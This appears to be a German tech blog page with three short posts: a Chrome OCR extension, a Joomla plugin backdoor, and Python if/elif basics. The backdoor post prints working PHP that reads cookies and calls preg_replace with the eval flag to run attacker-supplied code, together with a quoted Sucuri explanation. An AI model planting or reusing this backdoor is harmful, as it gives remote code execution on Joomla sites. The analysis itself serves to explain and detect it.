Text aus Bildern kopieren mit OCR-Erweiterung für Chrome.

project-napthan

Project Naptha automatically applies state-of-the-art computer vision algorithms on every image you see while browsing the web. The result is a seamless and intuitive experience, where you can highlight as well as copy and paste and even edit and translate the text formerly trapped within an image.

Es ist noch Beta, aber Text aus Bildern kopieren funktioniert schon ordentlich. Erweiterung für Chrome. Gesehen bei Chrome Story. Ein interessantes Projekt.

Backdoor in Joomla Plugin mit Cookies und preg_replace.

Eine Backdoor mit preg_replace ist leicht, weil es dort das eval-Flag gibt. Allerdings fällt das auch im Code auf. Es sei denn wir lesen ein Cookies, welches p2 heißt und schreiben dort später preg_replace hinein.

public function __construct() {
  $filter = JRequest::getString('p3', Null, 'cookie');
 if ($filter) {
   $option = $filter(JRequest::getString('p2', Null, 'cookie'));
   $auth = $filter(JRequest::getString('p1', Null, 'cookie'));
   $option("/123/e",$auth,123);
   die();
 }
}

Sucuri schreibt:

This code suggests that this backdoor is used the following way:

1. Once the plugin is enabled in Joomla, it gets loaded on every page load and the plugin class constructor always gets executed.

2. The attacker requests any site page setting specific cookies:

p3 – this triggers backdoor execution. Without it Joomla works as intended
p2 – this cookie should be “preg_replace“
p1 – any PHP code here

Python: Bedingungen.

true oder false? Wer Bedingungen in Python prüft, darf zwei Gleichzeichen benutzen ==. Bei Javascript sind === auch gerne gesehen, aber das ist ein anderes Thema. Listen durchsuchen sich wie folgt:

if name in ["John", "Rick"]:
    print "Your name is either John or Rick."

Warum zum Teufel es elif heißt, weiß ich nicht.

In: if name == "Bernd":
....:     print "x"
....: elif name == "John":
....:     print "y"

Vielleicht dachten sie: “Hey, Buchstaben sparen. Dann programmiert es sich schneller.” Alternative Schreibweise für else if funktionieren nicht. Schade eigentlich. Außerdem muss hier auf die Einrückung geachtet werden. Das macht allerdings tatsächlich Sinn, da kann man sich die elenden Klammern sparen.

print not False # Prints out True

Groß- und Kleinschreibung ist hier wichtig. Wer false klein schreibt, wird von der Python gebissen.